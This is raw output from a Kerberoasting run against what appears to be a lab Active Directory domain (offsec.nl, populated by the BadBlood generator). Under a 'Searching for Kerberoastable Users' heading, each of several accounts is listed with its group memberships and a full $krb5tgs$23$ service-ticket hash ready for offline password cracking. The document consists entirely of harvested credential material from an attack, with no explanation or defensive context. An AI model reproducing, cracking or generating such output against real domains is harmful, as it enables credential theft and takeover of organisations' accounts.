sAMAccountName : BRADFORD_MCLEOD userPrincipalName : BRADFORD_MCLEOD@offsec.nl distinguishedName : CN=BRADFORD_MCLEOD,OU=HRE,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2995 userAccountControl : NORMAL_ACCOUNT memberOf : pwdLastSet : 2/5/2022 10:06:19 AM lastLogonTimestamp : $krb5tgs$23$*BRADFORD_MCLEOD$offsec.nl$ftp/AZRWWEBS1000001*$314AF3CB83CBDDBFD4CEBF9685B1CAAA$6F53BF599AE33A4BE8EAE64D4FCD765EE46209CFCE006932E8E2ED2DCAF27B769E5C16E1C81B313D46C037F42DD413BAFACA581760784E41449053FDE28BA092191C9AFB4E874602F1585F473239CEBB5C15C7F8B5EC88F34993EE1E1FDADAFFDDB875E1BDB6F48C58F3076745EA4BAEDAEF30BEE8DD90C212D353A54FEB5528A27CF43613724DE475968BA433EA852BDAA241E765876C3174ABFC93A1646243748AA7374FC6CB6716A542079E69BCA181F8DFB911C33A4B42E7F8C09691CA7B50975F42EEF02F1849C7086ECC5DDE12E721412DB32678D70E876E9A71CAD6E5B078F2BFB24517A6D46E85DCCFABD4A6BD54D99E9B4C33B6C5B9292CA430E0EFBFAA6FFAEDD2B3AC55B98962ADB8BA5C51AD5E8A9BE2182B304EE51DB1FE308F45322A518CEE5877CD69A505291827C4DF09EF3D20704038732F3D0EDE464A9E808E7F6503F0BDED901D1B4BBA68C6BD551BACA28D2708302C861BFB305D43330C2E91A5D03B421D14FCE90A7B8A6A76843B96CCEDC966A2ECF2204B386ABF197EDC17C4246AB66AD302DF4A0A5ED194A71A286F009739DA14D1583AFC340CEA745A5902DC7629AD9EA31581259CDB623A4F1002544D6DA6C6A6C7BE0F2A59276D3CD2E12D917C315EBB69CD6F2D4B7E9D29F40AA79969B88AB20AF0211366A249F03045C935CE07BF621BBA32EB0A874C4704791A84E1C6D9615D4F81CA127A871C2A656D10A833B73CAC21F7420D5C0A202855D95EBD5E0C4856C6744EDFF02020BCF44A43C0B386F073D42BC5FD0856E8633F346D29C8B3A9F86831F2696028FB5CA99E76F92EDD9C5C8ED8AB29F6E8F7B7CDB61A5DD82457888A8B1B556E20FFB955B91AEA8EF4D8855DAE7EBCF9DFB6805D8912B8872FBDE905B1CBCE3C5C3E0F68980CE73A33CF1B71C1E1A73B7810CBDD7881231E4F501EA3CE7AAD108BDD893FE14EBB58991CC3683A5B91DB75171752FF8FF6EE93EEE6964973380D839FA3DE970825EC2379838AF834AC85D0962F111EF31BDDB80F14356C6BB989BCE45B5D75965CEF46CA53B19A3904B06436F017AF905A125C2775244E4CBECFF6D1C02DB8C5767C51DD9EBC96BE648C33393C2188D5E4CBA25165AAEED41B926F4263A39F6ADCF8DD289033B3E903D73302C4A2EB332F3F73C2C60B0D4D690ECF5DB7D8B891F55F56D8940CC6D3D6C1DB572A3DE62A8297B36B34D98FB0A747D14303F0ECB992B96166196FB5525DCE9E3047A05F82A931835DC0A6CA3B0F7BC6FE974CEB98CA51870FB0054FB1AE236ADC21721652B2194F970D39C2DBFF4E0FC1BE4B154C8E6495D61E9BEBE5F78C93AD568D9E28330F974A3CEDFEB54786AC18DB6827AA8B14BC59269433BD5558B031014B96404486E7833AD75D866A9C7EEFDB501CAD65AF27446B6E458FD55BC5C8 Searching for Kerberoastable Users - Details for User 'BROOKE_ROWE': sAMAccountName : BROOKE_ROWE userPrincipalName : BROOKE_ROWE@offsec.nl distinguishedName : CN=BROOKE_ROWE,OU=Domain Controllers,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2943 userAccountControl : NORMAL_ACCOUNT memberOf : CN=MA-pin-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=CE-ferdhinan-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=AN-dassault6-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=LA-feb-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:08 AM lastLogonTimestamp : $krb5tgs$23$*BROOKE_ROWE$offsec.nl$ftp/HREWWKS1000001*$48CBC8B7B1BAC327A11C152297995892$17B0158BDFD4270247CB1ED08ED28D572E51C6243CF389CACDDDEE4192F83EB923B8CAADB976B776273BA77A46131E16C77A033C8486CED4E34F5CC099A98068FBB7BE59D24D36191C9F3F40D8425A9805B900FFFE784DFDB289EE14B92BA1F0494EFB21CB7D3DF1A655159B160C39A7290160CE76E5BC174F33D3707357FBB8878887BD4785DB16E7B7209F0BF82FECEB6091D11BB003A020DA21FC1A4D68E7B4655DF582901B7C151BDA6CA4C28DAA5896AC88F428ED8B712568918C909DE74860B1BA8C826F6F8C43A6BEA3BD164604CB0765BB449CA19DA51DF14356B9E9DC10869FE304068F6D3D1DF189CC3D14DDA5E584A72C19E1A12FC1540EFFF4A897E8255197EEBE4D4E8D9FF078EF4C2B6FFC2ECD33B4D98B09E5AD492D4E123B1EFCE223BC78D0C3497415908368D2F2F7A34417F4687DEB123542DC256080B7DACBB9AFF9B8D770486011F349D87A1CA32DA244E2F3F1FB02370AEB4EDBFF482C1E45C901F80D812DCE5CE5E49C624FF38F0239F86562E2F9EED6ABE3FFD59D84DB92D7F8F6769D87926F69D09506731C1A8C228F8AA08497FAC8D9E49092AFD04DB15831E70E9274B9D97DC6B710F4EB885FEC61E33791B48D27055C121156916BABABFCF909BA95E25AEA203ECCEC221F004AFE06570BDE927090A7871FA609C05B5B16045E9A75A11DB41E1EF0E3D40DD03DC25A2B8B80BC629EE23086A2BFDF282B88212ABB73AAA07C7D0F32789A80B05D06FBF6F3966227A81A662C66415E60B987DBD9DADD8871C9318F80BA8306CD76AD10387E3B1E858537F67D800036AF94B264D4364187BC1F61922E4DCDB6119885C997F6370B3D531D4205B4F98CAD2AD6DE39344528E12C1C6BA63DC1A069E6BCF4E32A885A6D67AF9CE4AD5ACB2B25BF83666F5E248461FFDF054E63D77A9F0BE087CB4A1EFDF8A494B9883538F42261B0F506880C209AEF0F2A92DF127D6CCBF7359E61804D59CE262646908B44402E8C0D68ABA3B74477D5C910A056249DE50B9B86BC9A3A57830946B68CE4E0FA909646AB77026C3776F765B353DC5A8FBDE7734034F677F5E3F17AEF0205E62E18F759EDF8A3297A5C850BA80B78BEA839861DE55D251F2670F258403F680291C4F1C20EA54BA0D9A14DD9509E5F273B727437E4D6A08B037B5F35C43A11D74F849DD3591DD7876F330DE7547CE625AE8652A1BC18F7066AEA82225FA928E3DA6D042B02D39B02CEDC622099B1B086A09F7D0C99E42172FC3D05F8A72147DCB74E5AC7EFB1F88DAA3BD358D34D59DF570C52E08478A774316B38AC938C662D0F6ADCCC86773864AA4D3106DAC532A5580A65CA3EE639A5A39B4EAC661384E93C69CE80B75F3CF88FC40442B7FFA34EA3AEA5131E8A565A2E657131D0C47A12B60B539DDC8A5A78621E6299098A92 Searching for Kerberoastable Users - Details for User 'ANA_WALLACE': sAMAccountName : ANA_WALLACE userPrincipalName : ANA_WALLACE@offsec.nl distinguishedName : CN=ANA_WALLACE,OU=Test,OU=TST,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3451 userAccountControl : NORMAL_ACCOUNT memberOf : CN=PH-mon-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=VA-nir-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:05 AM lastLogonTimestamp : $krb5tgs$23$*ANA_WALLACE$offsec.nl$ftp/ITSWAPPS1000002*$7BA2E0B8C5335FE146D2F68949291708$B55D8EE416CE536C909D3A63D2A45A5D5C722E98734692892FD3DE3F4774BE105332F51190EE6FF2BACAEEC0FF7F2D85FE4DA0ABAD18DE5EBA33E34B8A7DDDBED7F833645CC522E46F78368DFB01D80603B2EB75727D032802EA9C04EB528053A31B01FCA893CE69AAFAAF91830AF108FF6D2515C81DAB4FB04AAC00A584FFC3BC62518AFC8458DBDE2704B3FFD5B5B2F940CB2E0A2ED1E9484717DCB3AFE1F355EF4BF65C4F5F8CEFA929C5CF446C2E00D1E600854D557199ABB48C6BF6C1DC21CA9A1965D79A6D27271780B7A6CBE4EA9FE72E41BE77F1838F2BC7742E30F053BE4A2D0BEA6B7F4900EECF7CEAC900A16249373E2519120829CE999674DD8F6E15734A7AB1C0974CC69775075FC35659139851DB095BEC2642C507528306555879362CB0C79536958D3E90AE0C0A9F065DFB799F83427ADCB1850739B377585606A5CA9FD1D678894A15F78B84DEF7C851311DAEDA771FB3E98C116188BFF5325D2441159CA1EC4D01CF420420BDB832F9A60C5BDDFC0499307C40EDC58F98155076AFE5948A7F87FBCCEA2787BCA066EB0B32990865631CDD5DC77DE5BA519EB9208C0BE4774F53B2781B5FD5983F91D60019CFD1AC6BE0FB137757CD47680545DDC927EC1F431C6836B5DCB54C200190379CDC347C51B903E70565589CE7575EB90096C82D66B494B99BCE7CEC38778A23B61E999BAD319830CDDA81DDE1804989B9961AB41B2564832136222DD079545FFA2AA83ECB5A07DD0FA5BF08804973B496F09D3889A54D27C65D1717AD5FE8420661D30855F3A8D46D8A9B58963EF367800EFE239E56C1B67FCA1825F46BB82C63A0347F62A021FC47AC99B455DF530A0056A0999041ABD99655B4DF5498878B9747D2217FD20F6AB385987E4DED535455C4B61CAEA649530602AAE370110B0B1932D3098C55D789A175F9203EE05D5DEAA07CAEE84DD941DB9C96FA85FE0837362638D988E059E16625BB1458FD7E94A7A49EAC686CF9FC07A9C536A7F7A5CDBE3C32DE914B7D80FE3051511CA2BF4711DCE23B6B0823C90298CCFE703F4B3AAB240338CDD8DDC8AADB4353202A6BE0AD9A352BFE0C5D4D503755DCB6E1C49F00152B184FC2E2A6910F35C1F60909D4BF5D69BFEC3DD29A8ABE9D36F1A7D11E6B1BE2BEA370E9C579EE4199FDBA1D0E67F717F732F16C82A00F6A92316937A05831809995CA24E7086D308921ECF0199C01046A23056E84B57F71FF1700A4A2E86C79C336AEBAE8002C5E21D0A4FA55246A794369EBB91A6925EAF8E45E893EDBB14D0826A44910D24BAB0B3634152D683416D7D68DCCA4BF88A0EB0608B4A5106134D1577A6DC725B05DF3659545BCFD5B1FD69E0BC896CB3033DEA5461076ACBB169C4DE91CA5C7D9C08DBAAC6BA4B02391603C265D4FE4F5702046A4C3 Searching for Kerberoastable Users - Details for User 'MAX_SCHROEDER': sAMAccountName : MAX_SCHROEDER userPrincipalName : MAX_SCHROEDER@offsec.nl distinguishedName : CN=MAX_SCHROEDER,OU=ServiceAccounts,OU=FSR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1425 userAccountControl : NORMAL_ACCOUNT memberOf : CN=HE-amarescom-admingroup1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=JU-290-distlist1,OU=Devices,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=FR-angel_070-distlist1,OU=Test,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=WA-mar-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=CO-com-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=GE-rey-distlist1,OU=T2-Accounts,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=RU-BARTOLITO-distlist1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=IL-jai-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:17 AM lastLogonTimestamp : $krb5tgs$23$*MAX_SCHROEDER$offsec.nl$ftp/SECWCTRX1000000*$B8390B7CAA498AB4CF177F863A17BD5F$882646E645BC74D2BC1E1A4A8CBE3124BE2482A75C974F325D92B4978B077D990595528CA3E1DB2B869E4BA78F37BD892DFD76F31ADE4B57A968905D277ABAF10328EE6460B26B3EA6C5BAAC0965CCA5D21089CAF971D6590F30125CF8D2D20A6944E319B8A01B55714282CE0D818B8F209DEB487F7BFEA173FE7A87FC2BA1B7380FAF9DAD8E09E49D44ECA3901B4F3D1AD3D42B42923E520E6ED02FA9EBB02D8F08E91A97B862E24ED8FD7E41730BA5E9B44EF337BA36615DE182BF372FBC0A9EFBFCF878408D6E09070E389DA22DDF6AC128C086EB188F859DC23246512D96F611C4C593BADCEDB56E288B59C2CFC1B7FFA2942CB811A80CC7ACD673AB62A68E36E7F412F7D0CDBE5FB62BBA57ED6B2037D67D05055795DF1D62FDCAB43ADA06F0F51EB045F8472C9FE90E30A66B9E46E319DB58DFDF4CAD10459A5BED2D85A95D87941D7AA2F81C4D1AA537C34FE368AAE5A7A2A5F2E5190CF18D8A66F9DF2BDC015CCA233D293651BD540974B46C6280FA2C236BBB35927619C16895C683CBDDA69D68D15C4DFA4D2462660D8FEE736514DE38681591CDE3C3F32A6733211B0E1DDDFCDB5DC95791914A7B3D5843DF96D8A569CB3505E68590CAD52E68AFBBF9EAC1B97B3CF68FC14565C9AD6AB22AC9A3C5DFB0C413B0D12A628CBA635A0458A2DC75B22571F9A7CAABACF3349AD52BEAB5861E1C934EE9E29D58FC48E72560D10801729F6F63BA9A019039482E0ACCFE1138B09A78C83E205A20764AF15971CF18B82369766950A76BA48E0EC65FC2CC2A9478A5FF4969D22EDD1B66D745CB502F1B18741D2D844FF071F61434DF37192C7D3A20761E1555C924A553CB757AAAFDF770CBF77B4C89E53941BAA9CA1509AB2ADC48C7F615760365F899332A7726BF3A16A58DCEA8F1064521732AB73E52FD52326DEFCB7DF50881916063955D798C884AC8376DAFCF9A8CF2068D64975967D3E3D3B564732772059FC4A9A455CC43B6A2B12E5708436C8CF6CBB459F0DAF6514AAAB1A40F32EB240AE5C60C14CBC3C01918FACFF40EC8DA39D290C4BE141CAEA4DCD31EA92070F2E89E6F8460A9A6AD3D1CB39E24422C72BCC3AD1C00EBC60BF92EAF99CD28F50A609DF07CDC58647DAA84C56E14640F18461454D4D5AE0B2C9F3E986BA812BB048F717615628966354054A4F4038E7B9F3EA01BD02A73C100A61EE8AC51C888954EC05416E356A79535C6638313B9386F51B84999119DBA4ED05583293AB1DB15BB75669D96152BE2BEAB972018A3E04477FF5544FA7C1A088136D3FABFA1F91A811E9F3697C2139B98535A1D78B410F51991493409B1F66818611722C0198CF94A5E351ECC6B1EF0152855247042C4138DCE470B8511C5DC50E8264AD32BAAD832EF6B9B681FCE1BF6777D03E4F8F5A1F89467C154 Searching for Kerberoastable Users - Details for User 'MICHAEL_BARNES': sAMAccountName : MICHAEL_BARNES userPrincipalName : MICHAEL_BARNES@offsec.nl distinguishedName : CN=MICHAEL_BARNES,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2117 userAccountControl : NORMAL_ACCOUNT memberOf : CN=IS-oco-admingroup1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=MA-pin-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=VE-964220261-distlist1,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=RU-ele-distlist1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=MA-aun-distlist1,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=TE-emo-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=CO-406-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=25-270-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=OF-551010907-distlist1,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=LE-tulipa_28-distlist1,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AL-gsx-distlist1,OU=Test,OU=TST,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:57 AM lastLogonTimestamp : $krb5tgs$23$*MICHAEL_BARNES$offsec.nl$ftp/SECWWKS1000000*$C53C47518B83E16FEFF0380472DA2A16$F3184ECBEC593F25F5285148E75A18A76947AEACE20B124B203024D59E8479319F6D805656A656AFF87013FD0516EBF915CD638555872C7D7B959004E4A99EED8062F7F0C4A633C8739BBC1C81A11A08EED45EE11B6A70671EEC05634449D9E91217361520ED04913EC86266CB910888A47DA4405EB98A000E78F5E084DC1EB3A517B804E5881988D23E169A65A4B5826A29488B387EF91758C882AEEC34A23137C4743FC858A14B3F6621D0E8AEF53F6B7D5D87EC75CD06A110600BBE4604CE4CD6B60493F4CCE6C46F1C66322493758B1F4A56D40FD133FBDDB7B0085E412239E0F06F7D5D616307F8D87D254F9163A61FB0347802E06479F528A833A80D456731A82EF68F62F0BD41E750AF32DF6CFF23F673A8767B544FFC002CBC3A83B8CC35755C3D05FA7E4CB698B84EDDAD7C234ABA33D2B485AB8ABD56AD307660117DC4CC9DDE78D07A98A3046C95511999F144B4B165D16DF7EB95B814067379626C14BE57F50219150EE9C5C76DE4DFBC8132BDE577AB3D61A978C9D39A10AA9CB4088E7A48AC03EA99EF2048CD156F8F31B94FC5D2A838A3B9AB764E6644BF7CADFDC3565F4156EF798852C3841860D3B1F6BFEBAE4A467387B1EE5568DB69DC2E98588B70CD56EF0871551A74738569FFB8708CC05322A1ECED2599A8D6ADAA84F7A99AF0E0A223C46D08F475329CAA449EE2EA0804DA07AFB9A1BB2B7E128FF6A666C4E6FE32C38326CBC595CF2C5452C509B4A7264CCBD86FC35C204F9DB69F1A698054C29B26B60A5BA4C0F00BF5333B6398A567781C2E2086574E87FB28B4A931D46CC854518084AF6F3A2BE241B425B33DDE322D475FB649266DFDCBADB10D20334B9895A884A5C4DDCA81B70A8919C4784789C4A7F75D28AA6963257A5CF27DFB39F7D8F0D5AC92DED746966319D10FF53F7DEB402136F943CF4E1E8CC6CA16CA1CD99055912762351E3F100E06A7DC86297EB1C63A29B3491D775A57E153F47D0CC9847C351B6C16D37849A74001210EBFEEA39D6DA33EAF6FB01F8B3990FE03FF4F0F6214CF99CAB622D224A47D7F9C66C71431055722931669734B392E32F3F038BCFB47E6AD82D2425FDFD5C99B0FAA568CCFB04CCD2E4F2789E078B329BA7828452C97983F18D0B9BD15E6F9CC1B3CEC4D2E645A9ADB63BE4474044CD6BDBEBB1C96252597BACB1E0AAC5E0154E08B619A1A502A5DFD3B0F3733A4D3AAD9A38A8ADE44C9EBA4C3F2FD795BF373A5DBC564F9E9703732BF52CDDD35886B40E6D21B30760546BEA777BD3F23FCC1D2CA4D4A38E956EF9D4E0291FA0595F4565AC8F10B2E1384909298EC7E0A5E685387841261560306B276E12173B04F018F33A1EB301256E6E9C1B2F20A8EA9D2783DFAD3CB0F916D86BF1F6A803AC7313371D095B1BB2F30B1CD0FF2A70FBA Searching for Kerberoastable Users - Details for User 'URSULA_LUCAS': sAMAccountName : URSULA_LUCAS userPrincipalName : URSULA_LUCAS@offsec.nl distinguishedName : CN=URSULA_LUCAS,OU=ServiceAccounts,OU=TST,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1362 userAccountControl : NORMAL_ACCOUNT memberOf : CN=MU-3Acuario3-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=BE-str-admingroup1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=Read-only Domain Controllers,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:02 AM lastLogonTimestamp : $krb5tgs$23$*URSULA_LUCAS$offsec.nl$ftp/TSTWAPPS1000000*$03AE2853CE24CF2870B21384157CFDA1$6A85DB849F369DC24F82F132EB0B72994461A4B6FA1D64508C897B3BC1234FA1AB579A57FDB4B21EB6B122820CCB587D0B4EA577EF3415866198746C8611D2B482E2D578CF32CF4AC630876813E90A53AF01166DB517ECC55C4AA0B6564172F40FB3B7CC4DB493FA1FBC4277FA8F292BED012E7E4E7116F11E560F4DF270F0B23F1483F17ED58DC65DAFED50516EE8FB4585550A7B31762C811CE62971DBAAD2A32BEB7DDF09B9F47E4E5DD0B51DC27EEE572FAB754C6E738A42A09524B09F9A245959A1474B080B8B93106F4D57926F3E0DE4FE2DC7A13BC4EFB649E80DD747B9230BFC3303DD8ED6D640691226678E6617098CF7F258AF9420B59E6F14584ECA70C8EB4F320CAA7256499338657FB5921E0184F8D8D3E9E1757FCC9058AC848FECAAC2393C9FE1FFC4CE0A1A153F947142CD8CBEAB8FA295BF60A43E9D68768F278A4C93A17D958D9ABD8CC01A919F32944CC270C8C1EE81059A4D52E8BC238427DBBFBCDD5D5065B49E8C17CBC8CE9519B43BE0655F1DE5AADD54945EE42C96D958F1E54503A72715D8CD90AB485337FD45427FA8348963BFC4173C685EB670202D8CC3ED40222350D7B00D1F767A4342DCA9EA94EF2BEB76C70090AE461F80669AD5F0D846E5F2201B17CA3D232F8348B7175A91A382EFAF9D51620A6E09CFC2FCA4137B0177BC0E53245C1F9A144E47C3EA93D7AFD6568D1DB8A69E1B5065710876F49CCC6260E8289DC5000D506A210F8F11483361A8F066807AE78F3401A711F8B708D3132E452B76D61F91BDF4648DED27A21D8F8764ADD026F93E142ACD87C8237476AECD7946C365C6993957D80F7AAB51FFED4828EB2411DC6BE7DCD19F6D54FB263D05110F57D772E744A310E99B6F6B4C7D5CC7C2D349AC6BCD266532895FD729443A2AEF996F2D1172F45A1C0F1D5906205B8D914FFFA86DBF6103132278F1A8F6000E0ECFD2459C4AAE03AB38990C64DCA174B1417681C8E1A90BF74609B40EFEB546AF09B6840DEC76E9593DAA8F63C9125EC8F0C63E651F06B70342F863EDF2F9853B9F5D875964AA06A68BB8146F87ED6DA9A5DB43E4C175065C1036AAA6C1B4B27ACB3ED96217A19B2324AFEAD9DB44F699EBF1F6AA4FF032F5CB5DC481891C3B14BC66128C7701DA60E041904395FB514F4E92DA5C2BB85B9FF09AE91FD71B74F354D54F3C5B7C2E86E1E3CA03F3B6F4B49E3F425DF16F1FB3DE8BA5269ABCFB2B0C46740A3E904C7EC3284A624F1BDAAF4478F026B4DD78B2F4682431057A19AEEDDD782C0A3E13650ABF7FDC3B12C5BA42655E5DB4CF376EFCC7A4770919A58AF5AFB6FC2C194026D3E2832B18BFED1D2E54689EA980EB0DCA994E0793FE4A49E0214130616704F0C4317D17CAFDD5178AA4DAAD27FBCB6B26941ABB09F1014218031E051F5EA2 Searching for Kerberoastable Users - Details for User 'ELISA_SPENCER': sAMAccountName : ELISA_SPENCER userPrincipalName : ELISA_SPENCER@offsec.nl distinguishedName : CN=ELISA_SPENCER,OU=HRE,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2918 userAccountControl : NORMAL_ACCOUNT memberOf : CN=AL-ara-admingroup1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=17-luismoral-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=BR-555149025-distlist1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=ES-tom-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=LA-maryprinc-distlist1,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=ES-118-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=AL-gsx-distlist1,OU=Test,OU=TST,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:02 AM lastLogonTimestamp : $krb5tgs$23$*ELISA_SPENCER$offsec.nl$ftp/TSTWLPT1000001*$089BBD08CC610A0D5E4F6B7D488460B9$817238CA78C4C8723CEEBB919A4A9F74C91561B066884A6154A0ADD95B0747DD3E697C060839F3DE974A89865014C83569987BF25287BF54C7ECBE7BA6D25F249CE1347128BCFD34380915F6B948DD57E3D9209CED1D7FCFFE75D42DB40D2E2E32D092E8E02761C17D4528A600B2FDC35C030B0614501AF835AB03145175F9AA8B5130A2F1B9AF98DA28F5296A187DF909007299227B4117B83BA83D134AC92FF8FC37A0ED3BC8F7868654408466B0BC6AD8928A869F2FEF1B6D0CEDCA0B2DD28545A22308909B2B611593B2FC51F878D37296B3F8F18DB8028DF4468402D07E7B8925BD14E466DDABD94E73CE71CDAC0E05641CC4FAB4776EEA23395D61B83CE52821E681B27D379F4D390D0C43132575F4B8BF96C1761A927C4205826C35E2EBEB2563DF825614B8D5414E25AB99CDF09883F5AF6AD7D98654568555B33F6765EEB1EFD5888F988879F41D0F7710D5D16C7023BB7E6C0FF4520F2AE1F9F667F4FF864D48271319F63FCDE62353BC516C5A3947763E95A73361415FC8909E11709D8F8A718C78EEF5BBAB5B7E9F5948B8374A4B65EB722B063F8938BCFE06264514C62D1D8304A539FF2F247D74B3ED8D67822ABC6F239D4ED8D2621C04444BA4B1EA9FDB5BD004086D899B4130C3BD153CD46A73450A54E3262E97A3141F1D3E15B628A7CB4F638DCFCC793AD673DB8C3C8005C59FD4C5A0236029821718A98F81AE74E51B2220C642766E16C9C78A8BBB1CE984DA3DD3B38C4B9228D3BA6E1633BC3D9B044AAFF263E03F5CC804C224517AC4837CEFAA6203A5E6D1A2387075414392BB89BA0EB934A5A2CFA623EA30E07A037E06050EF95CDBA238625CF5BB41B3D40F0337DC623FB5A97E24C0A3614F3C015FE901BE86DA2899EEBB96896C45FCB1033F771E032741B6E4AE14DD9A7CBD7A9550EB5A53D322A7817EFAA638ECD4EA890368A94E2BE624B37521398F54996EA829AC0660B073DAED4000487790CBF0DF66BE24F00E632FEE2F50A5845FE40B08EFD2BBA286B1CACC71418D6A3543B44051A69B56B690D2CDA6EA72DE92B6AA0D5B15DBD55763C27588F6151633817E125593448EC5313E780C14EE23E17D1F345B83A62FE582D90A88432F7DBF85AE64F429F0E1958E4615A700C43BD8BF75F6DD8996419C8DEABF71A01FE343B64F020FA10D655F649A71E86A899995A6D97DCCC87AD73F1DAC456A82766DA4B4D4E6F91FE3EECEFA6D3BF87BFDA2894A7EDD0F52B5379B9A85B631253A55C95F56F07C3462D4ED8CD336312D278E7F9101B7C6034432DAC8CBF0B74628BF8BB0881AB889B50D0C7791FCE137D991207A4AA46F9968C9097409595B958E83D498C6C995AB905D50535D239E5D0114465197FED877B06E80FCE3AD84CA104F1377963FF9B5CAC713BA03AA0E66166467 Searching for Kerberoastable Users - Details for User 'CONRAD_CRAWFORD': sAMAccountName : CONRAD_CRAWFORD userPrincipalName : CONRAD_CRAWFORD@offsec.nl distinguishedName : CN=CONRAD_CRAWFORD,OU=SEC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1195 userAccountControl : NORMAL_ACCOUNT memberOf : CN=EV-ayl-admingroup1,OU=TST,OU=Stage,DC=offsec,DC=nl CN=RU-launion15-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl CN=EM-JEN-distlist1,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=JO-1.9778E11-admingroup1,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=IL-jai-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=RO-karlateam-distlist1,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=HO-can-distlist1,OU=Devices,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=AA-botykario-admingroup1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:23 AM lastLogonTimestamp : $krb5tgs$23$*CONRAD_CRAWFORD$offsec.nl$ftp/TSTWWEBS1000000*$9A7133C4E5F6524BC59DB1CB6FCC30BD$1E48AEB9E7965D3CD7B22CEBB608C05900BEB705B02AFAA7799CFC1803839ECD1D5183A54EE073FEDBD6EEEDC2823B35F49C7C058FB0EEECEED125F1770B114054D0C0036E88B0E300ED0811984412C0586E529283EB878A50162EEA189A131B8EC9D854A9035A9FFE996E840550ED6367C75381FEC9FB9BC9CB941AFD22BE99F78AD83441E4A4FF577745857E2B8ACC04E9580B1809D68246800056D51B55E20C2D11804C50A7248E5D6DBA3B9A75523956A7D2C49F82BE3BD40BE2823F1048AA6C21A0A2EF4FCE7BF089B6B0FDDFB2D23C90724F4CA4E94C095A63BA8E8EDEA920BF065346BDC3D5527C543913878F67F55B26C8EBE39E98B181D26D2904E54AF493766C389585EC8C4C80ED4F244B68B71744487D989764C399CB25E99A8DB82A4F47D2AFE5B773A0BE693A01EA3E713B072EA9B4D429249E49DE2AD0745A77A2DB10257C6BDB99F7532ADCEAD96DA69A55098C13AD892240F06D7F3769423F9AB0AD53BD7FC284DC25948A1D84672E980E154C0A8EC557F6788D64F0898B8C3A18BCDE91AB423525ED3B1100BD00F7342480816887AB339F84F63B158E15CEB8FD20F4ABFF9923D173CFAF1CDAFE890D352342559B2FB8EC94C1A06DE5063E84BC5F1FB54C319189810B76C40BA85B305DFA6BE6B9441160F6ACE507F720B7D03EFA23BCFDAF7FAE8786B813D5E773EFC2E085F849573AE315431C3A529272AC2F1931C39940E7D4DC9C95A2E285DE3BB03DAF00B9C81E2A13BBAFBF2F6EC81FD6343E7919ED48374FD2ECB9ACB97B43AD4324A76E74DA133CC61FC3832016123E510DD72AA34315F57764DCF019EAE740CECF7080238EFCCB14ADEE00B86EEF3CC4D490090BCD65B0FA86B8727